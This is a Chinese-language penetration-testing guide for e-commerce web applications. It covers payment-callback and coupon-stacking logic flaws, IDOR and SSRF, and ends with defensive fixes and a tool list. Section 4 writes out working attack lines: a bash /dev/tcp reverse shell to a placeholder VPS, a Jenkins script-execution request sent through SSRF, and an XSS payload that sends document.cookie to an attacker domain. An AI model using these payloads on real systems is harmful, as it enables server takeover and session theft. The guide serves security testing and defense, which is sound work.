电商系统Web渗透测试实战指南:从业务逻辑漏洞到防御体系构建
1. 项目概述:为什么电商系统是渗透测试的“黄金靶场”?
干了这么多年安全测试,我越来越觉得,电商系统是检验一个渗透测试工程师综合能力的绝佳试金石。它不像一个简单的企业官网,也不像一个纯粹的后台管理系统。电商系统是一个复杂的、多模块集成的“小社会”,里面既有面向海量用户的购物前台,又有商家管理后台、运营后台、仓储物流接口,背后还连着支付网关、风控系统和用户数据中心。这种复杂性,恰恰是安全风险的温床。
你想想,一个电商平台要处理什么?用户的手机号、收货地址、支付信息,这些是个人隐私;商家的商品数据、交易流水、客户评价,这些是商业资产;还有订单状态、库存数量、优惠券规则,这些是业务逻辑的核心。任何一个环节被攻破,轻则数据泄露、用户投诉,重则资金损失、平台信誉崩塌。我见过太多案例,一个不起眼的逻辑漏洞,被黑产利用来“1分钱买iPhone”;一个未经验证的接口,导致千万级别的用户数据在暗网被兜售。
所以,当你说要做“电商系统Web渗透测试”时,这绝不仅仅是跑几个自动化扫描工具那么简单。它要求你具备业务视角,能理解“购物车”、“优惠券叠加”、“秒杀”、“退款流程”背后的逻辑;也要求你有深厚的技术功底,能从前端的JavaScript代码审计到后端的API接口测试,从常见的SQL注入、XSS到复杂的业务逻辑漏洞挖掘。这份指南,就是把我这些年“啃”下各种电商项目的经验、踩过的坑、总结出来的套路,系统地梳理给你。无论你是刚入行的安全新人,想找一个有挑战性的实战方向,还是有一定经验的工程师,想体系化地提升对复杂业务系统的测试能力,这里面的内容都能给你直接的参考。
2. 核心思路与测试框架设计
2.1 从“黑盒”到“灰盒”:建立立体测试视角
很多人做渗透测试,一上来就打开Burp Suite开始漫无目的地抓包、重放、模糊测试。对于电商系统,这种方法效率极低,而且极易遗漏深层次漏洞。我的核心思路是建立一个“立体测试视角”,融合黑盒、灰盒甚至白盒的思想。
首先,业务流梳理是地基。在测试开始前,甚至在没有拿到任何测试账号之前,你就应该以普通用户的身份,完整地走一遍核心业务流程:注册、登录、浏览商品、加入购物车、选择优惠券、提交订单、支付(或模拟支付)、查看订单、申请售后。在这个过程中,你的核心任务是绘制一张“业务数据流图”。记录下每一个环节,前端向后端发送了哪些关键参数?比如,加入购物车时,传递的是商品ID和SKU ID;提交订单时,传递的是购物车ID、地址ID、优惠券ID;支付时,传递的是订单号和金额。这些参数点,就是后续测试的重点靶标。
其次,权限模型分析是骨架。电商系统通常有复杂的角色体系:未登录游客、普通会员、VIP会员、店铺商家、平台运营、超级管理员。你需要理清不同角色能访问的数据和操作的功能边界。一个经典的测试场景就是“越权”。比如,普通用户A是否能通过修改订单ID参数,查看到用户B的订单详情(水平越权)?一个店铺的运营者,是否能访问到平台后台的全局数据统计接口(垂直越权)?在测试初期,就要尽可能获取不同权限的测试账号。
最后,技术架构推测是辅助。通过前端的JavaScript文件、HTTP响应头、报错信息,你可以推测后端可能使用的技术栈(如Spring Boot, Django, Node.js)、数据库类型(MySQL, PostgreSQL)、缓存组件(Redis)、消息队列(Kafka, RabbitMQ)等。这能帮助你更有针对性地选择测试Payload。比如,发现响应头有X-Powered-By: Express,那么在测试注入时,可以多关注NoSQL注入(如MongoDB)的可能性。
2.2 四阶段测试框架:步步为营,全面覆盖
基于上述思路,我习惯将电商系统的渗透测试分为四个循序渐进的阶段,确保覆盖从信息收集到深入利用的全过程。
第一阶段:侦察与信息收集(Reconnaissance)这个阶段的目标是尽可能多地收集关于目标系统的信息,为后续攻击铺路。
- 子域名与端口扫描:使用工具如
subfinder、amass、nmap,寻找shop.xxx.com、admin.xxx.com、api.xxx.com、mobile.xxx.com等可能存在的子域,以及开放的非标准端口(如8080, 8443的管理后台)。 - 目录与文件枚举:使用
dirsearch、gobuster等工具,寻找备份文件(.bak,.zip)、配置文件(.git/,.env)、管理后台(/admin/,/manage/)、API文档(/swagger-ui/,/api-docs)。 - 指纹识别:识别Web框架、前端库、服务器、中间件、第三方组件的版本信息。老版本的框架往往有公开的漏洞。
- Git信息泄露:如果发现
.git目录,尝试利用GitHacker等工具还原源代码,里面可能包含数据库配置、API密钥、后台路径等硬编码信息。
第二阶段:漏洞扫描与自动化探测(Automated Scanning)利用工具进行第一轮广谱漏洞扫描,发现低垂果实。
- 被动扫描:配置好Burp Suite,设置好代理,然后手动浏览网站所有功能。Burp的被动扫描引擎会分析所有经过的请求和响应,标记出潜在的SQLi、XSS、SSRF等漏洞点。
- 主动扫描:对关键接口(如登录、搜索、商品详情)使用Burp的Active Scan或专门的扫描器如
Nuclei。Nuclei有大量针对各类组件、CMS的POC模板,对电商常用的开源系统(如Magento, WooCommerce, Shopware)特别有效。
注意:主动扫描可能对生产系统造成压力或触发风控,务必在授权测试环境下进行,并控制扫描速率和线程数。
第三阶段:手动深入测试与业务逻辑审计(Manual Exploitation & Logic Testing)这是最核心、最能体现测试者水平的阶段,自动化工具几乎无法替代。
- 身份认证与会话管理测试:测试登录功能是否存在弱口令、爆破锁定机制缺陷、验证码绕过、密码重置逻辑漏洞。检查会话Cookie(如
JSESSIONID)的生成是否可预测、是否设置了HttpOnly和Secure属性。 - 业务逻辑漏洞挖掘:这是电商系统的重灾区。你需要像“黑客”一样思考业务。
- 支付逻辑:能否修改前端传递的支付金额为0或负数?支付成功后,能否重复发起退款请求?支付回调接口是否未校验签名,导致可以伪造支付成功状态?
- 优惠券与促销:无限领取优惠券?优惠券门槛金额、使用范围能否被绕过?多种优惠(满减、折扣、礼品卡)叠加时,是否会出现“零元购”或“负支付”?
- 订单流程:库存校验是否仅在提交订单时进行?能否在支付前通过并发请求超卖商品?修改订单状态(如“待发货”改为“已完成”)的接口是否存在未授权访问?
- 输入输出验证测试:对所有用户输入点进行测试。
- SQL注入:搜索框、商品ID、用户ID、订单ID。不要只用
'和",尝试时间盲注、报错注入。对于JSON格式的API,测试JSON注入。 - 跨站脚本(XSS):商品评论、用户昵称、收货地址、搜索关键词。测试存储型、反射型以及基于DOM的XSS。
- 文件上传:用户头像、商品图片、资质证明上传处。尝试上传Webshell(如
.jsp,.php),绕过前端校验(抓包改Content-Type和文件后缀),目录穿越(../../../shell.php)。
- SQL注入:搜索框、商品ID、用户ID、订单ID。不要只用
第四阶段:权限提升与横向移动(Privilege Escalation & Lateral Movement)假设你已经通过某个漏洞(如SQL注入)获取了数据库权限,或者上传了Webshell获得了应用服务器权限,接下来怎么做?
- 数据库提权:尝试利用数据库特性(如MySQL的
into outfile写文件、PostgreSQL的命令执行函数)获取服务器权限。 - 服务器信息收集:在Webshell中,执行
whoami、id、cat /etc/passwd、env、ps aux等命令,了解当前权限、系统用户、环境变量、运行的服务。 - 内网探测:如果服务器在内网,尝试探测内网其他资产(
192.168.x.x,10.x.x.x),寻找更核心的数据库服务器、缓存服务器、管理后台。
3. 核心攻击面深度解析与实战案例
3.1 支付流程:从“一分钱购物”到“无限退款”
支付环节是电商系统的“心脏”,也是逻辑漏洞的高发区。我遇到过最经典的案例,是一个知名平台的“支付金额篡改”漏洞。
漏洞场景:用户提交订单后,跳转到支付网关页面。在跳转前,前端会生成一个支付请求,包含订单号(order_id)和支付金额(total_amount)等参数,并附上签名(sign)用于防篡改。
测试过程:
- 正常流程下单,商品价格100元。用Burp Suite拦截从电商平台跳转到支付网关前的最后一个
POST请求。 - 观察参数:
order_id=202405210001&total_amount=100.00&sign=abc123def456... - 初步测试:将
total_amount改为0.01,直接重放请求。支付网关返回“签名错误”。说明有签名校验。 - 深入分析:签名算法通常是服务端将多个参数按特定规则拼接后,用密钥进行MD5或HMAC计算。如果密钥泄露或算法可逆,就能伪造签名。但更常见的情况是,校验环节存在逻辑缺陷。
- 进一步测试:我发现这个平台在生成支付参数和验证支付结果时,使用了两套不同的逻辑。生成时,签名包含了
order_id和total_amount。但支付网关回调通知平台“支付成功”时,平台验证回调签名只校验了order_id和payment_status,没有再次校验total_amount! - 漏洞利用:我本地搭建一个模拟的支付网关回调服务器。在电商平台下单100元商品,拦截请求,将
total_amount改为0.01元,但由于签名错误,支付网关不会处理。这时,我不通过官方支付网关,而是直接让我搭建的模拟回调服务器,向电商平台的支付结果通知接口发送一个请求:order_id=202405210001&payment_status=SUCCESS&sign=(根据平台回调验证规则生成的合法签名)。平台收到后,验证签名通过(因为只校验了订单号和状态),便认为用户已支付成功,将订单状态更新为“已支付”,发货!
根本原因与修复建议:
- 原因:支付状态回调验证逻辑不完整,关键业务参数(金额)在前后端状态同步过程中被忽略。
- 修复:
- 支付回调验证必须包含所有核心业务参数(订单号、金额、支付方式等)的签名。
- 金额等重要数据应以服务器端存储的订单数据为准,不能信任客户端或回调接口传入的金额。
- 实现幂等性校验,同一订单的支付成功回调只处理一次。
3.2 优惠券与促销系统:规则叠加的“黑洞”
电商的促销规则为了吸引用户,往往设计得非常复杂(满减、折扣、包邮、赠品、会员价),这些规则在代码中相互叠加、判断,极易产生逻辑冲突。
漏洞场景:某平台有一个“满200减30”的店铺优惠券(Coupon A),和一个“全场通用9折”的平台优惠券(Coupon B)。规则说明,优惠券不可叠加使用。
测试过程:
- 选取一个商品,价格250元。先单独使用Coupon A,实付220元。先单独使用Coupon B,实付225元。符合预期。
- 尝试同时选择两张优惠券提交订单。前端提示“不可叠加使用”。抓包发现,提交订单的请求中有一个参数
coupon_ids=[A,B]。 - 尝试修改请求,只发送
coupon_ids=[A],但手动修改计算后的支付金额为220 * 0.9 = 198元(即先满减再打折)。请求被拒绝,提示金额不匹配。 - 换一种思路。我注意到,优惠券的“不可叠加”是前端提示和后端的一个简单校验(检查请求中包含的优惠券ID是否属于互斥组)。但优惠的计算是在服务端分步骤进行的。
- 深入测试:我通过其他信息泄露漏洞,了解到其优惠计算的大致顺序是:先计算商品总价 -> 应用店铺级优惠(Coupon A)-> 应用平台级优惠(Coupon B)-> 计算运费。
- 漏洞利用:我构造了一个特殊的购物车。商品A价格180元,商品B价格20元。单独看,不满足Coupon A的“满200”条件。但我发现,平台对“满200”的判断是基于优惠前的商品总价。我用Coupon B(9折)先给商品A打折,180*0.9=162元。然后,商品A(162元)+商品B(20元)=182元,仍然不满足200。
- 关键点来了:我发现平台在计算“满200减30”时,判断的是商品原价总和(180+20=200),满足条件!于是计算过程变为:总价200元,应用Coupon A满减,200-30=170元。然后再在这个基础上应用Coupon B的9折?不,这里出现了逻辑错误:代码在应用Coupon A后,忘记更新用于Coupon B计算的基础金额,仍然用200元去计算9折,得出180元。最终,系统错误地计算出两个优惠叠加后的价格是
170元(满减后)与180元(打折后)取最小值?或者是混乱地选择了其中一个?实际上,它最终结算金额变成了(200-30)*0.9 = 153元。这比使用任何一张优惠券都便宜。 - 通过反复测试不同商品组合和顺序,我最终找到了一个稳定触发规则冲突,使实际支付金额远低于预期的路径。
根本原因与修复建议:
- 原因:复杂的业务规则在代码中实现时,状态管理混乱,计算顺序和条件判断存在逻辑环和边界情况未处理。
- 修复:
- 设计清晰的优惠计算引擎,定义严格的优先级和互斥规则。
- 对优惠计算过程进行单元测试,覆盖所有可能的规则组合和边界情况。
- 在最终提交订单前,在服务端对计算出的金额进行反向验证,确保其符合所有公开的促销规则。
3.3 水平越权:你的订单,我的视图
这是电商系统最常见的漏洞之一,危害直接,但往往容易被忽略。
漏洞场景:用户查看自己的订单详情,URL为https://mall.com/order/detail?order_id=10086。
测试过程:
- 使用自己的账号A,下一个测试订单,获得订单ID 10086。
- 访问
/order/detail?order_id=10086,正常看到订单详情。 - 将
order_id修改为 10085(推测是其他用户的订单),重放请求。 - 如果页面返回了订单10085的详细信息(收货人、电话、商品、地址),则存在水平越权查看漏洞。
- 更进一步,测试订单操作接口,如修改收货地址
/order/update_address?order_id=10085、申请退款/order/refund?order_id=10085、删除订单/order/delete?order_id=10085。如果这些操作也能越权执行,危害就从信息泄露升级为业务操作破坏了。
挖掘技巧:
- 不要只测试
order_id,关注所有与用户身份绑定的ID参数:user_id、address_id、coupon_id、cart_id、comment_id。 - 测试API接口时,注意请求方法。GET请求的越权容易被发现,但POST、PUT、DELETE方法的越权更危险。使用Burp的Repeater模块,修改参数后重放。
- 除了数字ID,也要测试UUID、MD5哈希等形式的主键,越权漏洞与ID形式无关,只与后端是否校验权限有关。
修复建议:
- 在每一个数据访问和业务操作接口的入口处,进行严格的权限校验。
- 校验原则:当前登录用户的ID(从会话中获取)必须与待操作数据的所有者ID(从数据库根据请求参数查询得出)相匹配。
- 使用统一的权限校验框架或AOP(面向切面编程)来实现,避免在每一个业务方法里重复编写校验代码。
4. 高级技巧与组合拳利用
4.1 SSRF + 内网系统漏洞获取服务器权限
服务器端请求伪造(SSRF)在电商系统中常出现在一些需要处理外部URL的功能点,如图片URL抓取、商品信息导入、Webhook通知、PDF生成等。
实战案例:
- 发现SSRF点:在商家后台,有一个“通过商品链接导入”功能,输入其他平台的商品URL,系统会自动抓取标题、价格、图片。抓包发现参数
url=https://taobao.com/item/123。测试发现,将url改为file:///etc/passwd或http://169.254.169.254/latest/meta-data/(云服务器元数据地址),服务器返回了敏感文件内容或元数据信息,确认存在SSRF。 - 探测内网:利用SSRF探测内网网段。使用Burp的Intruder模块,对
http://192.168.0.1:8080、http://192.168.1.1:80等常见内网地址进行爆破。发现http://192.168.11.10:8080返回了一个Jenkins(持续集成工具)的登录页面。 - 攻击内网服务:已知该版本Jenkins存在未授权脚本执行漏洞(CVE-2018-1000861)。通过SSRF,构造请求访问
http://192.168.11.10:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"whoami".execute()}}。这个请求会触发Jenkins执行系统命令。 - 获取Shell:将命令改为反弹Shell命令,如
bash -c 'bash -i >& /dev/tcp/你的VPS_IP/4444 0>&1'。在你的VPS上监听4444端口,成功获得Jenkins服务器的一个Shell。 - 权限提升与横向移动:在Jenkins服务器上,查找敏感信息(如SSH密钥、Jenkins凭证、配置文件),尝试向更核心的数据库服务器或应用服务器移动。
4.2 XSS + 客服系统窃取客服会话
存储型XSS在商品评论、用户昵称等处可能被过滤,但电商的在线客服系统(通常是一个独立的即时通讯模块)往往是一个被忽视的攻击面。
实战案例:
- 发现客服系统XSS:在用户与客服的聊天窗口中,测试消息内容。发现客服端渲染用户消息时,未对HTML标签进行过滤。发送一条消息:
<img src=x onerror=alert(1)>,客服后台弹窗,证明存在XSS。 - 构造窃取Cookie的Payload:由于客服人员通常拥有较高权限(可能可以查看订单、处理退款),窃取其会话Cookie价值巨大。构造Payload:
<script>var img=new Image();img.src='http://你的接收域名/steal?cookie='+encodeURIComponent(document.cookie);</script>。 - 诱导触发:这个XSS需要客服在后台查看消息才能触发。可以结合社交工程,发送一条看似正常的咨询消息,但在消息末尾附上恶意脚本。或者,如果客服系统有“未读消息”自动预览功能,则更容易触发。
- 接收Cookie并接管会话:在你的服务器上接收到的Cookie,可以将其植入浏览器,然后访问客服后台地址,可能直接以客服身份登录,进行越权操作。
5. 防御体系建设与修复指南
渗透测试的最终目的不是“攻破”,而是帮助提升防御。针对电商系统,我建议从以下几个层面构建防御体系。
5.1 安全开发生命周期(SDL)融入
安全不能只靠测试,必须前置到开发阶段。
- 安全需求:在需求评审时,明确安全要求,如“所有用户输入必须验证”、“所有操作必须鉴权”。
- 安全设计:设计阶段采用最小权限原则、默认安全配置。对支付、优惠计算等核心模块进行威胁建模。
- 安全编码:为开发团队提供安全的编码规范、函数库(如参数化查询API、安全的HTML编码函数)。
- 代码审计:上线前,使用SAST(静态应用安全测试)工具扫描代码,并结合人工审计重点业务逻辑。
5.2 关键漏洞的针对性防护
- 注入类:
- SQL注入:全线使用参数化查询(Prepared Statements)或ORM框架,严禁字符串拼接SQL。
- XSS:根据输出场景,统一使用合适的编码或转义(HTML编码、JavaScript编码、URL编码)。启用CSP(内容安全策略)头。
- 文件上传:使用白名单校验文件后缀和MIME类型;文件重命名(如使用UUID);上传目录设置为不可执行;图片文件进行二次渲染处理。
- 逻辑漏洞:
- 支付/金额:所有金额、数量等核心业务参数,以服务端存储状态为准。支付回调接口需验证签名,且签名必须包含所有关键业务参数。
- 优惠/订单:优惠计算引擎需要严格的单元测试和集成测试,覆盖所有规则组合。订单状态变更必须通过严谨的状态机控制,避免非法状态跃迁。
- 越权:所有API接口必须进行身份认证和权限校验。推荐使用统一的权限中间件,基于RBAC(角色基于访问控制)模型。
- 信息泄露:
- 确保
.git、.svn、.env、备份文件等不被部署到生产环境。 - 服务器返回的错误信息应统一为用户友好提示,避免泄露堆栈跟踪、SQL语句等细节。
- 对敏感数据(用户手机号、身份证号)进行脱敏显示。
- 确保
5.3 运营期监控与应急响应
- WAF(Web应用防火墙):部署WAF,虽然不能防住所有逻辑漏洞,但可以有效拦截常见的自动化攻击和已知漏洞利用。
- 日志审计与监控:集中收集应用日志、访问日志、数据库日志。建立异常行为监控告警,如:同一IP短时间内大量失败登录、同一用户频繁修改收货地址、订单金额异常(如0元、负数)、非正常时间的后台登录。
- 漏洞管理与应急响应:建立SRC(安全应急响应中心),接收外部白帽子报告。制定清晰的漏洞修复和上线流程。定期进行渗透测试和红蓝对抗演练。
6. 实战工具链与资源推荐
工欲善其事,必先利其器。以下是我在电商系统渗透测试中高频使用的工具和资源,它们能极大提升你的效率。
6.1 侦察与信息收集
| 工具名称 | 主要用途 | 使用心得 |
|---|---|---|
| Amass | 子域名枚举、资产发现 | 被动收集能力极强,能整合很多公开数据源,结果全面。 |
| Subfinder | 子域名发现 | 速度快,作为Amass的补充很好用。 |
| httpx | HTTP探测 | 快速验证域名存活,并获取标题、状态码、指纹。 |
| nmap | 端口扫描与服务识别 | 老牌神器,对内网资产探测必不可少。推荐使用-sV进行版本探测。 |
| waybackurls/gau | 从历史存档中获取目标URL | 能发现一些已被删除但历史存档中仍存在的接口、文件,常有意想不到的收获。 |
| dirsearch/gobuster | Web目录与文件爆破 | 寻找后台、备份文件、配置文件的利器。字典的质量是关键,推荐使用SecLists项目中的字典。 |
6.2 漏洞扫描与利用
| 工具/平台 | 主要用途 | 使用心得 |
|---|---|---|
| Burp Suite Professional | 代理、抓包、重放、扫描、 intruder爆破 | 渗透测试核心工具,它的Repeater和Intruder模块在测试业务逻辑时无可替代。Scanner虽然不错,但别过度依赖。 |
| Nuclei | 基于模板的漏洞扫描 | 社区模板更新快,特别适合快速检测已知组件漏洞(如Fastjson, Log4j2, 各种OA、CMS)。可以自定义模板来检测特定的业务逻辑缺陷。 |
| SQLMap | 自动化SQL注入检测与利用 | 对于存在SQL注入的点,用它来获取数据、提权非常高效。但需要手动确认注入点后使用,盲目扫描效果差且动静大。 |
| XSS Hunter/Burp Collaborator | 盲打XSS、SSRF等外部交互漏洞 | 当你怀疑存在盲注、盲XSS、SSRF但无回显时,这类外部服务器能帮你确认并获取数据。 |
| ysoserial | Java反序列化利用工具链 | 如果目标系统使用了Java且存在反序列化漏洞(如通过HTTP参数传递),这个工具能生成利用Payload。 |
6.3 业务逻辑测试辅助
- 浏览器的开发者工具(F12):不仅仅是看Console和Network。多关注Application标签页,查看LocalStorage、SessionStorage、Cookie(特别是HttpOnly属性)。在Sources里查看前端JavaScript,有时能找到未引用的API接口或加密解密逻辑。
- Postman/Insomnia:用于组织和管理API测试用例。当你需要反复测试一组复杂的、有依赖关系的API(如登录->获取Token->查询订单->申请退款)时,用这些工具比Burp Repeater更清晰。
- 自定义Python脚本:对于需要复杂逻辑或大量重复的测试,编写脚本是最高效的。例如,模拟并发请求测试库存超卖、遍历所有优惠券组合寻找规则冲突。
6.4 学习资源与社区
- 漏洞赏金平台报告:在HackerOne、Bugcrowd上查看公开的针对电商类目标的漏洞报告,学习别人的思路和技巧。
- Web安全书籍:《白帽子讲Web安全》、《Web安全深度剖析》、《黑客攻防技术宝典:Web实战篇》。
- 靶场平台:在授权环境下练习至关重要。推荐PortSwigger的Web Security Academy(免费,质量极高)、DVWA、Pikachu等,它们包含了各种漏洞场景。对于电商逻辑漏洞,可以尝试一些开源的电商系统(如Magento, WooCommerce)在本地搭建测试环境。
最后想说的是,电商系统的渗透测试是一场持续的战斗。新的业务功能不断上线,第三方的组件和库在不断更新,攻击者的手段也在进化。保持好奇心,像解谜一样去理解每一个业务逻辑背后的代码实现,养成“不信任任何用户输入、不信任任何前端传参、不信任任何未经验证的状态变更”的安全思维,你才能在这个领域里走得更远。每一次测试,不仅是发现漏洞,更是在帮助构建一个更安全、更值得用户信赖的交易环境。
